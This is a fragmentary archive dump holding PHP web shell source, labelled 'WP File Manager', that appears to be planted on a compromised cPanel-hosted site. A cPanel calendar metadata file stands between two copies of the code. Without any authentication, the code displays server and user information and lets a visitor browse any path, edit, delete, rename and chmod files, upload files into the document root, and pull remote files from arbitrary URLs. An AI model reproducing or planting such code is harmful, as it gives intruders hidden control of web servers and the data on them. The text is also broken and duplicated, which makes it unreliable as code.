'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]»Òî±BBweb@dumoshi.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. [calendar] protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. type VCALENDAR PK‘&{]„N9³§Ë§Ëweb@dumoshi.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
